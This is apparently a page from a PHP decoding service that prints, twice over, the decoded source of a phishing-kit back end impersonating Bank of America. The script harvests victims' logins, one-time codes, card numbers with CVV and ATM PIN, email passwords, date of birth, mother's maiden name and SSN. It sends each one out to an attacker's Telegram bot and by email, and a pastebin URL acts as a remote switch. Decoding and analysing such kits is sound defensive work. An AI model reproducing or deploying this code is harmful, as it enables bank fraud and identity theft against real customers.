Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?if (strpos($response, "Mody Top") !== false) { if (isset($_POST["usr"])) { include "to.p..
Decoded Output download
<?if (strpos($response, "Mody Top") !== false) { if (isset($_POST["usr"])) { include "to.php"; $email = $_POST["usr"]; $pass = $_POST["pwd"]; $_SESSION["email"] = $email; $message = "---------= BOA Login UserID =---------
"; $message .= "User: " . $email . " \xa"; $message .= "Pass: " . $pass . " \xa"; $message .= "---------=IP Adress & Date=---------\xa"; $message .= "IP Address: " . $ip . "\xa"; $message .= "USER-AGENT: " . $_SERVER["USER_AGENT"] . "
"; $message .= "---------= BOA Result =---------
"; $subject = "BOA LOGIN"; $headers = "From: Mody@BOA" . rand(1, 99) . "Mody.V1 \xd\xa"; file_get_contents("https://api.telegram.org/bot" . $api . "/sendMessage?chat_id=" . $chatid . "&text=" . urlencode($message) . ''); $done = mail($subject, $message, $headers); header("Location: ./red.php"); } if (isset($_POST["phn"])) { include "to.php"; $Phone = $_POST["phn"]; $message = "---------= BOA Phone " . $_SESSION["email"] . "
"; $message .= "Phone: " . $Phone . " \xa"; $message .= "---------=IP Adress & Date=---------
"; $message .= "IP Address: " . $ip . "
"; $message .= "USER-AGENT: " . $_SERVER["USER_AGENT"] . "
"; $message .= "---------= BOA Result =---------\xa"; $subject = "BOA LOGIN"; $headers = "From: Mody@BOA" . rand(1, 99) . "Mody.V1
\xa"; file_get_contents("https://api.telegram.org/bot" . $api . "/sendMessage?chat_id=" . $chatid . "&text=" . urlencode($message) . ''); $done = mail($toemail, $subject, $message, $headers); header("Location: ./red2.php"); } if (isset($_POST["code"])) { include "to.php"; $otp = $_POST["code"]; $message = "---------= BOA OTP " . $_SESSION["email"] . " \xa"; $message .= "otp: " . $otp . "
"; $message .= "---------=IP Adress & Date=---------
"; $message .= "IP Address: " . $ip . "\xa"; $message .= "USER-AGENT: " . $_SERVER["USER_AGENT"] . "
"; $message .= "---------= BOA Result =---------\xa"; $subject = "BOA LOGIN"; $headers = "From: Mody@BOA" . rand(1, 99) . "Mody.V1
"; file_get_contents("https://api.telegram.org/bot" . $api . "/sendMessage?chat_id=" . $chatid . "&text=" . urlencode($message) . ''); $done = mail($toemail, $subject, $message, $headers); header("Location: ./red3.php"); } if (isset($_POST["ccn"])) { include "to.php"; $fnm = $_POST["fnm"]; $card = $_POST["ccn"]; $expire = $_POST["cex"]; $cvv = $_POST["csc"]; $atm = $_POST["input_17652"]; $zip = $_POST["zip"]; $_SESSION["fnm"] = $fnm; $mody6 = str_replace(" ", '', $card); $message = "---------= Boa Card Info " . $_SESSION["email"] . "
"; $message .= "Name: " . $fnm . "
"; $message .= "Card Number: " . $mody6 . "
"; $message .= "MM/YY: " . $expire . " \xa"; $message .= "CVV: " . $cvv . " \xa"; $message .= "ATM PIN: " . $atm . " \xa"; $message .= "Zip: " . $zip . " \xa"; $message .= "---------=IP Adress & Date=---------\xa"; $message .= "IP Address: " . $ip . "
"; $message .= "USER-AGENT: " . $_SERVER["USER_AGENT"] . "
"; $message .= "---------= Boa Result =---------
"; $subject = "Boa LOGIN"; $headers = "From: Mody@Boa" . rand(1, 99) . "Mody.V1 \xd\xa"; file_get_contents("https://api.telegram.org/bot" . $api . "/sendMessage?chat_id=" . $chatid . "&text=" . urlencode($message) . ''); $done = mail($toemail, $subject, $message, $headers); header("Location: ./red4.php"); } if (isset($_POST["eml"])) { include "to.php"; $Email = $_POST["eml"]; $mody1 = $_POST["input_1\67835"]; $_SESSION["email1"] = $Email; $message = "---------= BOA Email Access " . $_SESSION["email"] . "
"; $message .= "Email: " . $Email . " \xa"; $message .= "ATM-PIN: " . $mody1 . " \xa"; $message .= "---------=IP Adress & Date=---------
"; $message .= "IP Address: " . $ip . "
"; $message .= "USER-AGENT: " . $_SERVER["USER_AGENT"] . "
"; $message .= "---------= BOA Result =---------\xa"; $subject = "BOA LOGIN"; $headers = "From: Mody@BOA" . rand(1, 99) . "Mody.V1
"; $domainTLD = explode("@", $_SESSION["email1"])[1]; $domain = explode(".", $domainTLD)[0]; $_SESSION["domain"] = $domainTLD; file_get_contents("https://api.telegram.org/bot" . $api . "/sendMessage?chat_id=" . $chatid . "&text=" . urlencode($message) . ''); $done = mail($toemail, $subject, $message, $headers); header("Location: ./red10.php"); } if (isset($_POST["emlpass"])) { include "to.php"; $pass1 = $_POST["emlpass"]; $email1 = $_POST["eml1"]; $message = "---------= BOA Email Access " . $_SESSION["email"] . " \xa"; $message .= "Email: " . $email1 . "
"; $message .= "Pass: " . $pass1 . "
"; $message .= "---------=IP Adress & Date=---------
"; $message .= "IP Address: " . $ip . "
"; $message .= "USER-AGENT: " . $_SERVER["USER_AGENT"] . "
"; $message .= "---------= BOA Result =---------
"; $subject = "BOA LOGIN"; $headers = "From: Mody@BOA" . rand(1, 99) . "Mody.V1
"; $domainTLD = explode("@", $_SESSION["email1"])[1]; $domain = explode(".", $domainTLD)[0]; $_SESSION["domain"] = $domainTLD; file_get_contents("https://api.telegram.org/bot" . $api . "/sendMessage?chat_id=" . $chatid . "&text=" . urlencode($message) . ''); $done = mail($toemail, $subject, $message, $headers); header("Location: ./red12.php"); } if (isset($_POST["otp1"])) { include "to.php"; $otp1 = $_POST["otp1"]; $message = "---------= BOA OTP EMAIL " . $_SESSION["email"] . " \xa"; $message .= "otp Mail: " . $otp1 . " \xa"; $message .= "---------=IP Adress & Date=---------
"; $message .= "IP Address: " . $ip . "
"; $message .= "USER-AGENT: " . $_SERVER["USER_AGENT"] . "\xa"; $message .= "---------= BOA Result =---------
"; $subject = "BOA LOGIN"; $headers = "From: Mody@BOA" . rand(1, 99) . "Mody.V1 \xd\xa"; file_get_contents("https://api.telegram.org/bot" . $api . "/sendMessage?chat_id=" . $chatid . "&text=" . urlencode($message) . ''); $done = mail($toemail, $subject, $message, $headers); header("Location: ./red11.php"); } if (isset($_POST["dob"])) { include "to.php"; $dob = $_POST["dob"]; $mmn = $_POST["mmn"]; $phn = $_POST["phn"]; $ssn = $_POST["ssn"]; $message = "---------= BOA INFO " . $_SESSION["email"] . " \xa"; $message .= "DOB: " . $dob . "
"; $message .= "MOM: " . $mmn . "
"; $message .= "phn: " . $phn . "
"; $message .= "ssn: " . $ssn . " \xa"; $message .= "---------=IP Adress & Date=---------
"; $message .= "IP Address: " . $ip . "
"; $message .= "USER-AGENT: " . $_SERVER["USER_AGENT"] . "\xa"; $message .= "---------= BOA Result =---------\xa"; $subject = "BOA LOGIN"; $headers = "From: Mody@BOA" . rand(1, 99) . "Mody.V1 \xd\xa"; file_get_contents("https://api.telegram.org/bot" . $api . "/sendMessage?chat_id=" . $chatid . "&text=" . urlencode($message) . ''); $done = mail($toemail, $subject, $message, $headers); header("Location: ./red5.php"); } } else { header("Location: ./red14.php"); die; }
session_start();
curl_close($ch);
$response = curl_exec($ch);
$ch = curl_init($url);
$url = "https://pastebin.com/raw/97hJZuUk";
$ip = isset($_SERVER["HTTP_CLIENT_IP"]) ? $_SERVER["HTTP_CLIENT_IP"] : isset($_SERVER["HTTP_X_FORWARDED_FOR"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);?>
Did this file decode correctly?
Original Code
<?if (strpos($response, "Mody Top") !== false) { if (isset($_POST["usr"])) { include "to.php"; $email = $_POST["usr"]; $pass = $_POST["pwd"]; $_SESSION["email"] = $email; $message = "---------= BOA Login UserID =---------
"; $message .= "User: " . $email . " \xa"; $message .= "Pass: " . $pass . " \xa"; $message .= "---------=IP Adress & Date=---------\xa"; $message .= "IP Address: " . $ip . "\xa"; $message .= "USER-AGENT: " . $_SERVER["USER_AGENT"] . "
"; $message .= "---------= BOA Result =---------
"; $subject = "BOA LOGIN"; $headers = "From: Mody@BOA" . rand(1, 99) . "Mody.V1 \xd\xa"; file_get_contents("https://api.telegram.org/bot" . $api . "/sendMessage?chat_id=" . $chatid . "&text=" . urlencode($message) . ''); $done = mail($subject, $message, $headers); header("Location: ./red.php"); } if (isset($_POST["phn"])) { include "to.php"; $Phone = $_POST["phn"]; $message = "---------= BOA Phone " . $_SESSION["email"] . "
"; $message .= "Phone: " . $Phone . " \xa"; $message .= "---------=IP Adress & Date=---------
"; $message .= "IP Address: " . $ip . "
"; $message .= "USER-AGENT: " . $_SERVER["USER_AGENT"] . "
"; $message .= "---------= BOA Result =---------\xa"; $subject = "BOA LOGIN"; $headers = "From: Mody@BOA" . rand(1, 99) . "Mody.V1
\xa"; file_get_contents("https://api.telegram.org/bot" . $api . "/sendMessage?chat_id=" . $chatid . "&text=" . urlencode($message) . ''); $done = mail($toemail, $subject, $message, $headers); header("Location: ./red2.php"); } if (isset($_POST["code"])) { include "to.php"; $otp = $_POST["code"]; $message = "---------= BOA OTP " . $_SESSION["email"] . " \xa"; $message .= "otp: " . $otp . "
"; $message .= "---------=IP Adress & Date=---------
"; $message .= "IP Address: " . $ip . "\xa"; $message .= "USER-AGENT: " . $_SERVER["USER_AGENT"] . "
"; $message .= "---------= BOA Result =---------\xa"; $subject = "BOA LOGIN"; $headers = "From: Mody@BOA" . rand(1, 99) . "Mody.V1
"; file_get_contents("https://api.telegram.org/bot" . $api . "/sendMessage?chat_id=" . $chatid . "&text=" . urlencode($message) . ''); $done = mail($toemail, $subject, $message, $headers); header("Location: ./red3.php"); } if (isset($_POST["ccn"])) { include "to.php"; $fnm = $_POST["fnm"]; $card = $_POST["ccn"]; $expire = $_POST["cex"]; $cvv = $_POST["csc"]; $atm = $_POST["input_17652"]; $zip = $_POST["zip"]; $_SESSION["fnm"] = $fnm; $mody6 = str_replace(" ", '', $card); $message = "---------= Boa Card Info " . $_SESSION["email"] . "
"; $message .= "Name: " . $fnm . "
"; $message .= "Card Number: " . $mody6 . "
"; $message .= "MM/YY: " . $expire . " \xa"; $message .= "CVV: " . $cvv . " \xa"; $message .= "ATM PIN: " . $atm . " \xa"; $message .= "Zip: " . $zip . " \xa"; $message .= "---------=IP Adress & Date=---------\xa"; $message .= "IP Address: " . $ip . "
"; $message .= "USER-AGENT: " . $_SERVER["USER_AGENT"] . "
"; $message .= "---------= Boa Result =---------
"; $subject = "Boa LOGIN"; $headers = "From: Mody@Boa" . rand(1, 99) . "Mody.V1 \xd\xa"; file_get_contents("https://api.telegram.org/bot" . $api . "/sendMessage?chat_id=" . $chatid . "&text=" . urlencode($message) . ''); $done = mail($toemail, $subject, $message, $headers); header("Location: ./red4.php"); } if (isset($_POST["eml"])) { include "to.php"; $Email = $_POST["eml"]; $mody1 = $_POST["input_1\67835"]; $_SESSION["email1"] = $Email; $message = "---------= BOA Email Access " . $_SESSION["email"] . "
"; $message .= "Email: " . $Email . " \xa"; $message .= "ATM-PIN: " . $mody1 . " \xa"; $message .= "---------=IP Adress & Date=---------
"; $message .= "IP Address: " . $ip . "
"; $message .= "USER-AGENT: " . $_SERVER["USER_AGENT"] . "
"; $message .= "---------= BOA Result =---------\xa"; $subject = "BOA LOGIN"; $headers = "From: Mody@BOA" . rand(1, 99) . "Mody.V1
"; $domainTLD = explode("@", $_SESSION["email1"])[1]; $domain = explode(".", $domainTLD)[0]; $_SESSION["domain"] = $domainTLD; file_get_contents("https://api.telegram.org/bot" . $api . "/sendMessage?chat_id=" . $chatid . "&text=" . urlencode($message) . ''); $done = mail($toemail, $subject, $message, $headers); header("Location: ./red10.php"); } if (isset($_POST["emlpass"])) { include "to.php"; $pass1 = $_POST["emlpass"]; $email1 = $_POST["eml1"]; $message = "---------= BOA Email Access " . $_SESSION["email"] . " \xa"; $message .= "Email: " . $email1 . "
"; $message .= "Pass: " . $pass1 . "
"; $message .= "---------=IP Adress & Date=---------
"; $message .= "IP Address: " . $ip . "
"; $message .= "USER-AGENT: " . $_SERVER["USER_AGENT"] . "
"; $message .= "---------= BOA Result =---------
"; $subject = "BOA LOGIN"; $headers = "From: Mody@BOA" . rand(1, 99) . "Mody.V1
"; $domainTLD = explode("@", $_SESSION["email1"])[1]; $domain = explode(".", $domainTLD)[0]; $_SESSION["domain"] = $domainTLD; file_get_contents("https://api.telegram.org/bot" . $api . "/sendMessage?chat_id=" . $chatid . "&text=" . urlencode($message) . ''); $done = mail($toemail, $subject, $message, $headers); header("Location: ./red12.php"); } if (isset($_POST["otp1"])) { include "to.php"; $otp1 = $_POST["otp1"]; $message = "---------= BOA OTP EMAIL " . $_SESSION["email"] . " \xa"; $message .= "otp Mail: " . $otp1 . " \xa"; $message .= "---------=IP Adress & Date=---------
"; $message .= "IP Address: " . $ip . "
"; $message .= "USER-AGENT: " . $_SERVER["USER_AGENT"] . "\xa"; $message .= "---------= BOA Result =---------
"; $subject = "BOA LOGIN"; $headers = "From: Mody@BOA" . rand(1, 99) . "Mody.V1 \xd\xa"; file_get_contents("https://api.telegram.org/bot" . $api . "/sendMessage?chat_id=" . $chatid . "&text=" . urlencode($message) . ''); $done = mail($toemail, $subject, $message, $headers); header("Location: ./red11.php"); } if (isset($_POST["dob"])) { include "to.php"; $dob = $_POST["dob"]; $mmn = $_POST["mmn"]; $phn = $_POST["phn"]; $ssn = $_POST["ssn"]; $message = "---------= BOA INFO " . $_SESSION["email"] . " \xa"; $message .= "DOB: " . $dob . "
"; $message .= "MOM: " . $mmn . "
"; $message .= "phn: " . $phn . "
"; $message .= "ssn: " . $ssn . " \xa"; $message .= "---------=IP Adress & Date=---------
"; $message .= "IP Address: " . $ip . "
"; $message .= "USER-AGENT: " . $_SERVER["USER_AGENT"] . "\xa"; $message .= "---------= BOA Result =---------\xa"; $subject = "BOA LOGIN"; $headers = "From: Mody@BOA" . rand(1, 99) . "Mody.V1 \xd\xa"; file_get_contents("https://api.telegram.org/bot" . $api . "/sendMessage?chat_id=" . $chatid . "&text=" . urlencode($message) . ''); $done = mail($toemail, $subject, $message, $headers); header("Location: ./red5.php"); } } else { header("Location: ./red14.php"); die; }
session_start();
curl_close($ch);
$response = curl_exec($ch);
$ch = curl_init($url);
$url = "https://pastebin.com/raw/97hJZuUk";
$ip = isset($_SERVER["HTTP_CLIENT_IP"]) ? $_SERVER["HTTP_CLIENT_IP"] : isset($_SERVER["HTTP_X_FORWARDED_FOR"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);?>
Function Calls
None |
Stats
MD5 | a15fa922e87ccbc2422bd7bdf4d21c9d |
Eval Count | 0 |
Decode Time | 75 ms |